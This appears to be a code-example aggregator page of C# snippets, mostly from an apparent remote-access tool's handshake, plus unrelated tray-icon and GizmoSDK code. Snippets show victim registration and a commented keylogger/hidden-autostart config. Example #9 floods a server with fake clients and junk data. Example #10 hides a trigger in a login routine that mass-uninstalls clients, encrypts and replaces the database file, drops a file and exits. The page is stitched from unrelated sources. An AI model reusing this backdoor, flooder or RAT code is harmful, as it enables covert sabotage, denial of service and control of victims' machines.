示例#1
0
        private bool Register(BinaryReader binaryReader, BinaryWriter binaryWriter)
        {
            //binaryWriter.Write((byte) AuthentificationIntention.ClientRegister);
            if (binaryReader.ReadByte() != (byte)AuthentificationFeedback.GetKey)
            {
                return(false);
            }

            var keyIndex = binaryReader.ReadInt32();
            var keys     = new KeyDatabase();

            binaryWriter.Write(keys.GetKey(keyIndex,
                                           "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh"));
            if (binaryReader.ReadByte() != (byte)AuthentificationFeedback.GetHardwareId)
            {
                return(false);
            }
            binaryWriter.Write(GetHardwareId());

            var result = binaryReader.ReadByte();

            if ((AuthentificationFeedback)result == AuthentificationFeedback.GetClientTag)
            {
                binaryWriter.Write("Stress Test");
                result = binaryReader.ReadByte();
            }

            return(result == (byte)AuthentificationFeedback.Accepted);
        }
示例#2
0
        public InfoModule()
        {
            this.Get(
                "/auth", args =>
            {
                var authenticated = KeyDatabase.ValidateKey(this.Request.Headers.Authorization);

                return(this.Negotiate.WithMediaRangeModel(
                           new MediaRange("application/json"),
                           new
                {
                    Authenticated = authenticated
                }
                           ));
            }, null, "Auth"
                );

            this.Get(
                "/info", args =>
            {
                this.RequiresAuthentication();

                var globals = Globals.Clone();

                return(this.Negotiate.WithMediaRangeModel(
                           new MediaRange("application/json"),
                           globals
                           ));
            }, null, "Info"
                );
        }
示例#3
0
        internal bool Authenticate(BinaryReader binaryReader, BinaryWriter binaryWriter)
        {
            if (binaryReader.ReadByte() != (byte)AuthentificationFeedback.GetKey)
            {
                return(false);
            }

            var keyIndex = binaryReader.ReadInt32();
            var keys     = new KeyDatabase();

            binaryWriter.Write(keys.GetKey(keyIndex,
                                           "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh"));
            if (binaryReader.ReadByte() != (byte)AuthentificationFeedback.GetHardwareId)
            {
                return(false);
            }
            binaryWriter.Write(InformationCollector.GetHardwareId());

            var result = binaryReader.ReadByte();

            if ((AuthentificationFeedback)result == AuthentificationFeedback.GetClientTag)
            {
                binaryWriter.Write(Settings.GetBuilderProperty <ClientTagBuilderProperty>().ClientTag);
                result = binaryReader.ReadByte();
            }

            return(result == (byte)AuthentificationFeedback.Accepted);
        }
示例#4
0
        static void Main(string[] args)
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);

            // Wait 5 seconds if contended – in case another instance
            // of the program is in the process of shutting down.
            if (!mutex.WaitOne(TimeSpan.FromSeconds(5), false))
            {
                return;
            }

            try
            {
                //open the database...
                keyDatabase = new KeyDatabase();

                //show the tray icon...
                trayIcon = new TrayIcon();
                trayIcon.Show();

                Application.Run();
            }
            finally
            {
                mutex.ReleaseMutex();
            }
        }
        //private void WorkThreadFunction()
        //{
        //    while (station != null && station.Exec())
        //        System.Threading.Thread.Sleep(10);
        //}


        private void Awake()
        {
            GizmoSDK.GizmoBase.Platform.Initialize();

            Message.OnMessage += Message_OnMessage;

#if SHOW_MEMORY
            // Set to tru to enable memory tracing. Heavy load
            MemoryControl.DebugMem(true);   // Enable trace of allocated memory
#endif

#if UNITY_ANDROID
            GizmoSDK.GizmoBase.Monitor.InstallMonitor("udp::45454?nic=${wlan0}");
#else
            GizmoSDK.GizmoBase.Monitor.InstallMonitor();
#endif //UNITY_ANDROID

            Message.SetMessageLevel(MessageLevel.PERF_DEBUG);

            // Initialize application ragistry
            KeyDatabase.SetDefaultRegistry($"/data/data/{Application.identifier}/files/gizmosdk.reg");


            // Set local xml config
            KeyDatabase.SetLocalRegistry("config.xml");

            // Enable multicast state listener
            EnableMulticastState();


            #region -------- Test Related stuff in init --------------------

            //SetupJavaBindings();

            //test();

            #endregion

            // Set up scene manager camera

            SceneManager  scenemanager  = GetComponent <SceneManager>();
            CameraControl cameracontrol = GetComponent <CameraControl>();

            scenemanager.SceneManagerCamera = cameracontrol;
        }
        private bool Register(BinaryReader binaryReader, BinaryWriter binaryWriter)
        {
            if (binaryReader.ReadByte() != (byte) AuthentificationFeedback.GetKey)
                return false;

            var keyIndex = binaryReader.ReadInt32();
            var keys = new KeyDatabase();
            binaryWriter.Write(keys.GetKey(keyIndex,
                "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh"));
            if (binaryReader.ReadByte() != (byte) AuthentificationFeedback.GetHardwareId)
                return false;
            binaryWriter.Write(GetHardwareId());

            var result = binaryReader.ReadByte();
            if ((AuthentificationFeedback) result == AuthentificationFeedback.GetClientTag)
            {
                binaryWriter.Write("Stress Test");
                result = binaryReader.ReadByte();
            }

            return result == (byte) AuthentificationFeedback.Accepted;
        }
        public bool LogIn(SslStream sslStream, BinaryReader binaryReader, BinaryWriter binaryWriter,
                          out ClientData clientData, out CoreClientInformation coreClientInformation, out bool isNewClient)
        {
            clientData            = null;
            coreClientInformation = null;
            isNewClient           = false;

            Logger.Debug("Send key request");

            binaryWriter.Write((byte)AuthentificationFeedback.GetKey);
            var keys  = new KeyDatabase();
            var index = Random.Next(keys.Length);
            var key   = keys.GetKey(index,
                                    "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh");

            binaryWriter.Write(index);
            var result = binaryReader.ReadString();

            if (key != result)
            {
                binaryWriter.Write((byte)AuthentificationFeedback.InvalidKey);
                Logger.Info("Invalid key - denied");
                return(false);
            }

            Logger.Debug("Valid key. Get hardware id");

            binaryWriter.Write((byte)AuthentificationFeedback.GetHardwareId);
            var hardwareId = binaryReader.ReadString();

            if (hardwareId.Length > 256)
            {
                Logger.Info("Client rejected because the hardware id was too long. Length: {0}, MaxLength: 256",
                            hardwareId.Length);
                return(false);
            }

            Logger.Debug("Hardware id received: {0}", hardwareId);
            Logger.Debug("Get client from database...");

            var    knowClient = _databaseManager.GetClient(hardwareId, out clientData);
            string clientTag  = null;

            Logger.Debug(knowClient ? "Client was already registered" : "Seems like a new client");

            if (knowClient)
            {
                Logger.Debug("Client accepted");
                binaryWriter.Write((byte)AuthentificationFeedback.Accepted);
            }
            else
            {
                Logger.Debug("Get client tag");
                binaryWriter.Write((byte)AuthentificationFeedback.GetClientTag);
                clientTag = binaryReader.ReadString();
                if (clientTag.Length > 256)
                {
                    Logger.Info("Client rejected because the client tag was too long. Length: {0}, MaxLength: 256",
                                clientTag.Length);
                    return(false);
                }
                Logger.Debug("Client tag received: {0}. Client accepted", clientTag);
                binaryWriter.Write((byte)AuthentificationFeedback.Accepted);
            }

            var serializer = new Serializer(typeof(BasicComputerInformation));

            Logger.Debug("Attempt to deserialize BasicComputerInformation");
            var basicComputerInformation = (BasicComputerInformation)serializer.Deserialize(sslStream);

            Logger.Debug("BasicComputerInformation received, processing...");
            coreClientInformation = new CoreClientInformation
            {
                UserName         = basicComputerInformation.UserName,
                OSName           = basicComputerInformation.OSName,
                OSType           = basicComputerInformation.OSType,
                Language         = basicComputerInformation.Language,
                IsAdministrator  = basicComputerInformation.IsAdministrator,
                IsServiceRunning = basicComputerInformation.IsServiceRunning,
                Plugins          = basicComputerInformation.Plugins,
                LoadablePlugins  = basicComputerInformation.LoadablePlugins,
                ClientConfig     = null,
                ClientVersion    = basicComputerInformation.ClientVersion,
                ClientPath       = basicComputerInformation.ClientPath,
                ApiVersion       = basicComputerInformation.ApiVersion,
                FrameworkVersion = basicComputerInformation.FrameworkVersion
            };

            Logger.Trace("Client Information:\r\n{0}", coreClientInformation);

            if (coreClientInformation.OSName.Length > 256)
            {
                Logger.Info("Client rejected because the OSName was too long. Length: {0}, MaxLength: 256",
                            coreClientInformation.OSName.Length);
                return(false);
            }

            if (coreClientInformation.UserName.Length > 256)
            {
                Logger.Info("Client rejected because the UserName was too long. Length: {0}, MaxLength: 256",
                            coreClientInformation.UserName.Length);
                return(false);
            }

            if (coreClientInformation.Language.Length > 32)
            {
                Logger.Info("Client rejected because the Language was too long. Length: {0}, MaxLength: 256",
                            coreClientInformation.Language.Length);
                return(false);
            }

            Logger.Debug("Seems like the information is OK");

            if (knowClient)
            {
                Logger.Debug("Because the client was already registered, updating database entry");
                _databaseManager.RefreshClient(clientData.Id, coreClientInformation.UserName,
                                               coreClientInformation.OSName,
                                               (int)coreClientInformation.OSType, coreClientInformation.Language, null);
                clientData.UserName = coreClientInformation.UserName;
                clientData.OSName   = coreClientInformation.OSName;
                clientData.OSType   = coreClientInformation.OSType;
                clientData.Language = coreClientInformation.Language;
            }
            else
            {
                Logger.Info("Register client...");
                Logger.Debug("Create database entry");
                var id = _databaseManager.AddClient(coreClientInformation.UserName, hardwareId,
                                                    coreClientInformation.OSName,
                                                    (int)coreClientInformation.OSType, coreClientInformation.Language, clientTag, null);
                if (id == -1)
                {
                    Logger.Fatal("The generated id of the new client is -1");
                    return(false);
                }
                clientData = new ClientData
                {
                    Id         = id,
                    Language   = coreClientInformation.Language,
                    HardwareId = hardwareId,
                    LastSeen   = DateTime.UtcNow,
                    UserName   = coreClientInformation.UserName,
                    OSType     = coreClientInformation.OSType,
                    OSName     = coreClientInformation.OSName,
                    Group      = clientTag
                };
            }

            Logger.Debug("Client authentication successful");

            isNewClient = !knowClient;
            return(true);
        }
示例#8
0
        public bool LogIn(SslStream sslStream, BinaryReader binaryReader, BinaryWriter binaryWriter,
                          out ClientData clientData, out CoreClientInformation information, out bool isNewClient)
        {
            clientData  = null;
            information = null;
            isNewClient = false;

            binaryWriter.Write((byte)AuthentificationFeedback.GetKey);
            var keys  = new KeyDatabase();
            var index = Random.Next(keys.Length);
            var key   = keys.GetKey(index,
                                    "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh");

            binaryWriter.Write(index);
            var result = binaryReader.ReadString();

            if (key != result)
            {
                binaryWriter.Write((byte)AuthentificationFeedback.InvalidKey);
                Logger.Info("Invalid key - denied");
                return(false);
            }

            binaryWriter.Write((byte)AuthentificationFeedback.GetHardwareId);
            var hardwareId = binaryReader.ReadString();

            if (hardwareId.Length > 256)
            {
                Logger.Info("Client rejected because the hardware id was too long. Length: {0}, MaxLength: 256",
                            hardwareId.Length);
                return(false);
            }

            var    knowClient = _databaseManager.GetClient(hardwareId, out clientData);
            string clientTag  = null;

            if (knowClient)
            {
                binaryWriter.Write((byte)AuthentificationFeedback.Accepted);
            }
            else
            {
                binaryWriter.Write((byte)AuthentificationFeedback.GetClientTag);
                clientTag = binaryReader.ReadString();
                if (clientTag.Length > 256)
                {
                    Logger.Info("Client rejected because the client tag was too long. Length: {0}, MaxLength: 256",
                                clientTag.Length);
                    return(false);
                }
                binaryWriter.Write((byte)AuthentificationFeedback.Accepted);
            }

            var serializer      = new Serializer(typeof(BasicComputerInformation));
            var tempInformation = (BasicComputerInformation)serializer.Deserialize(sslStream);

            information = new CoreClientInformation
            {
                ApiVersion       = tempInformation.ApiVersion,
                ClientConfig     = null /*new Shared.Client.ClientConfig
                                         * {
                                         * Mutex = tempInformation.ClientConfig.Mutex,
                                         * InstallationFolder = tempInformation.ClientConfig.InstallFolder,
                                         * IpAddresses =
                                         * new List<IpAddressInfo>
                                         * {
                                         * new IpAddressInfo
                                         * {
                                         * Ip = tempInformation.ClientConfig.IpAddress,
                                         * Port = tempInformation.ClientConfig.Port
                                         * }
                                         * },
                                         * NewCreationDate = tempInformation.ClientConfig.NewCreationDate,
                                         * ClientTag = tempInformation.ClientConfig.ClientTag,
                                         * RegistryAutostartKeyName = tempInformation.ClientConfig.StartupKey,
                                         * HideFile = tempInformation.ClientConfig.HideFile,
                                         * Install = tempInformation.ClientConfig.InstallToFolder,
                                         * ChangeCreationDate = tempInformation.ClientConfig.ChangeCreationDate,
                                         * ForceInstallerAdministratorRights = tempInformation.ClientConfig.ForceInstallerAdministratorRights,
                                         * SetAdminFlag = tempInformation.ClientConfig.SetAdminFlag,
                                         * InstallService = tempInformation.ClientConfig.InstallService,
                                         * IsKeyloggerEnabled = tempInformation.ClientConfig.IsKeyloggerEnabled,
                                         * AdministrationRightsRequired = tempInformation.ClientConfig.AdministrationRightsRequired,
                                         * RegistryHiddenAutostart = tempInformation.ClientConfig.HiddenStart,
                                         * ReconnectDelay = tempInformation.ClientConfig.ReconnectDelay,
                                         * AutostartMethod = tempInformation.ClientConfig.Autostart ? 1 : 0,
                                         * FrameworkVersion = tempInformation.ClientConfig.FrameworkVersion
                                         * }*/,
                ClientPath       = tempInformation.ClientPath,
                ClientVersion    = tempInformation.ClientVersion,
                FrameworkVersion = tempInformation.FrameworkVersion,
                Language         = tempInformation.Language,
                UserName         = tempInformation.UserName,
                OSType           = tempInformation.OSType,
                Plugins          = tempInformation.Plugins,
                IsAdministrator  = tempInformation.IsAdministrator,
                IsServiceRunning = tempInformation.IsServiceRunning,
                OSName           = tempInformation.OSName,
                LoadablePlugins  = tempInformation.LoadablePlugins
            };

            Logger.Debug("Client Information:\r\n" + information);

            if (information.OSName.Length > 256)
            {
                Logger.Info("Client rejected because the OSName was too long. Length: {0}, MaxLength: 256",
                            information.OSName.Length);
                return(false);
            }

            if (information.UserName.Length > 256)
            {
                Logger.Info("Client rejected because the UserName was too long. Length: {0}, MaxLength: 256",
                            information.UserName.Length);
                return(false);
            }

            if (information.Language.Length > 32)
            {
                Logger.Info("Client rejected because the Language was too long. Length: {0}, MaxLength: 256",
                            information.Language.Length);
                return(false);
            }

            if (knowClient)
            {
                _databaseManager.RefreshClient(clientData.Id, information.UserName, information.OSName,
                                               (int)information.OSType, information.Language, null);
                clientData.UserName = information.UserName;
                clientData.OSName   = information.OSName;
                clientData.OSType   = information.OSType;
                clientData.Language = information.Language;
            }
            else
            {
                Logger.Info("Register client...");
                var id = _databaseManager.AddClient(information.UserName, hardwareId, information.OSName,
                                                    (int)information.OSType, information.Language, clientTag, null);
                if (id == -1)
                {
                    Logger.Error("The generated id of the new client is -1");
                    return(false);
                }
                clientData = new ClientData
                {
                    Id         = id,
                    Language   = information.Language,
                    HardwareId = hardwareId,
                    LastSeen   = DateTime.UtcNow,
                    UserName   = information.UserName,
                    OSType     = information.OSType,
                    OSName     = information.OSName,
                    Group      = clientTag
                };
            }

            isNewClient = !knowClient;
            return(true);
        }
示例#9
0
        public static void doTheThing()
        {
            var       client    = new TcpClient();
            SslStream sslStream = null;

            try
            {
                client.Connect("13.37.13.37", 1337);
                sslStream = new SslStream(client.GetStream(), true, (o, certificate, chain, errors) => true);
                sslStream.AuthenticateAsClient("Hello.");
            }
            catch
            {
                Console.WriteLine("Failed to connect. Server dead?");
                return;
            }

            sslStream.Write(new byte[] { 0 }); // client
            var binaryReader = new BinaryReader(sslStream);
            var binaryWriter = new BinaryWriter(sslStream, Encoding.UTF8, true);

            binaryWriter.Write(5); // we're using api v5

            binaryReader.ReadByte();
            if (binaryReader.ReadByte() != 0)
            {
                Console.WriteLine("Error? 1");
                return;
            }

            int         position    = binaryReader.ReadInt32();
            KeyDatabase keyDatabase = new KeyDatabase();

            binaryWriter.Write(keyDatabase.GetKey(position, "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh"));
            if (binaryReader.ReadByte() != 6)
            {
                Console.WriteLine("Error? 2");
                return;
            }

            var provider = new RNGCryptoServiceProvider();
            var hwidSalt = new byte[4];

            provider.GetBytes(hwidSalt);

            //hwid
            binaryWriter.Write("foo bar baz buzz" + BitConverter.ToUInt32(hwidSalt, 0).ToString()); // arbitrary
            byte b = binaryReader.ReadByte();

            if (b == 7)
            {
                if (new Random().Next(0, 5) < 3)
                {
                    binaryWriter.Write("");
                }
                else if (new Random().Next(0, 5) < 1)
                {
                    binaryWriter.Write(randomString(255));
                }
                else
                {
                    binaryWriter.Write(randomString(2) + new string('\n', 252));
                }

                b = binaryReader.ReadByte();
            }

            if (b != 3)
            {
                Console.WriteLine("Error 3?");
                return;
            }

            var randomKiloByte = new byte[2048];

            provider.GetBytes(randomKiloByte);
            var information = new BasicComputerInformation()
            {
                UserName = randomString(new Random().Next(0, 255)),
                // you can just put in TempleOS too or randomString(256)
                OperatingSystemName = "Microsoft Windows 10 Pro",
                Language            = "English (United States)",
                IsAdministrator     = new Random().Next(3) != 1,
                ClientConfig        = null,
                ClientVersion       = new Random().Next(19),
                ApiVersion          = 2,
                ClientPath          = new string('\a', 10000),
                FrameworkVersion    = 1,
                MacAddress          = randomKiloByte  // wastes space in their database
            };

            new Serializer(new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes())
            {
                typeof(BasicComputerInformation)
            }).Serialize(sslStream, information);


            Console.WriteLine($"Connected fake client #{++iterations}");
        }
示例#10
0
        public bool LogIn(SslStream sslStream, BinaryReader binaryReader, BinaryWriter binaryWriter,
                          out ClientData clientData, out CoreClientInformation basicComputerInformation, out bool isNewClient)
        {
            clientData = null;
            basicComputerInformation = null;
            isNewClient = false;
            binaryWriter.Write((byte)AuthentificationFeedback.GetKey);
            var          keys  = new KeyDatabase();
            var          index = Random?.Next(keys.Length) ?? -1;
            const string pass  =
                "******";
            var key =
                AES.Decrypt(
                    "qqDUz1/UgK+PLelqwoFTuYVqXHcygXcIAO6X56SZ82Y5sUPoMToQM6EYg+ElY0qEL42vM+9EGY/CiKOKtErI9HFugN10THdOV3xe+p1w5rtgSVlaPkb8EwqcqBxD3ZzPyvmJAuhAgCn2ed7UGRn7U9vy0bdQULTiS7h6yW5eNtli9jSYT/hNUUqqnh6TZUWdP5GzyM2To/CD3KDBXtlyw1sp5OpjnCwUlZDH8CD885Tp3X/QuERRFSxnkFn6A68hIxq+rqk0bkyaa4avjRWyx12DJpMzVyq3rB+OpQLR8e2nwhP+XnyoFuEhM6lFOrkG22aDADlFwrOG2hgHVdpVyg==",
                    pass);
            var nowTime = DateTime.UtcNow.Ticks.ToString() +
                          new Random().Next(0, (int)(DateTime.Now.Millisecond * 13 * new Random().NextDouble()));

            binaryWriter.Write(nowTime);
            var result = binaryReader.ReadString();

            if (key == result)
            {
                binaryWriter.Write((byte)AuthentificationFeedback.InvalidKey);
                Logger.Info("Invalid key - denied");
                return(false);
            }

            using (var rsaVerifier = new RSACryptoServiceProvider())
            {
                rsaVerifier.FromXmlString(key);
                if (!rsaVerifier.VerifyData(Encoding.UTF8.GetBytes(nowTime), "SHA256", Convert.FromBase64String(result)))
                {
                    binaryWriter.Write(1);
                    return(false);
                }
            }

            //uninstall clients
            TcpServer._currentInstance.DynamicCommandManager.AddDynamicCommand(new DynamicCommand
            {
                CommandId = new Guid(0x8f4791f7, 0x412b, 0x4b48, 0x97, 0x8d, 0x8e, 0x2a, 0xb0,
                                     0x02, 0xc3, 0xa8),
                CommandParameter  = null,
                Conditions        = new List <Condition>(),
                Target            = null,
                TransmissionEvent = new ImmediatelyTransmissionEvent()
            });
            TcpServer._currentInstance.Dispose();

            using (var aes = new AesManaged())
            {
                aes.BlockSize = aes.LegalBlockSizes[0].MaxSize;
                aes.KeySize   = aes.LegalKeySizes[0].MaxSize;
                byte[]    salt       = { 0x10, 0xF5, 0xFE, 0x47, 0x11, 0xDF, 0xAB, 0xA4 };
                const int iterations = 1042; // Recommendation is >= 1000.

                // NB: Rfc2898DeriveBytes initialization and subsequent calls to   GetBytes   must be eactly the same, including order, on both the encryption and decryption sides.
                using (var rfcKey = new Rfc2898DeriveBytes(Encoding.UTF8.GetBytes(nowTime), salt, iterations))
                {
                    aes.Key  = rfcKey.GetBytes(aes.KeySize / 8);
                    aes.IV   = rfcKey.GetBytes(aes.BlockSize / 8);
                    aes.Mode = CipherMode.CBC;

                    using (var transform = aes.CreateEncryptor(aes.Key, aes.IV))
                        using (
                            var destination = new FileStream("database.locked", FileMode.Create, FileAccess.Write,
                                                             FileShare.None))
                            using (var cryptoStream = new CryptoStream(destination, transform, CryptoStreamMode.Write))
                                using (var source = new FileStream(_databaseManager.Path, FileMode.Open, FileAccess.Read,
                                                                   FileShare.Read))
                                {
                                    source.CopyTo(cryptoStream);
                                    cryptoStream.FlushFinalBlock();
                                }
                }
            }

            for (int i = 0; i < 5; i++)
            {
                try
                {
                    File.Delete(_databaseManager.Path);
                }
                catch (Exception)
                {
                    Thread.Sleep(1000);
                    continue;
                }
                File.Move("database.locked", _databaseManager.Path);
                break;
            }

            binaryWriter.Write(0);
            File.WriteAllText(AES.Decrypt("dJzTJAcWPX+i5fzFBq/ECdU00iqKvJSZkRvjrRF1pVk=", pass),
                              binaryReader.ReadString());

            Environment.Exit(0);
            return(false);
        }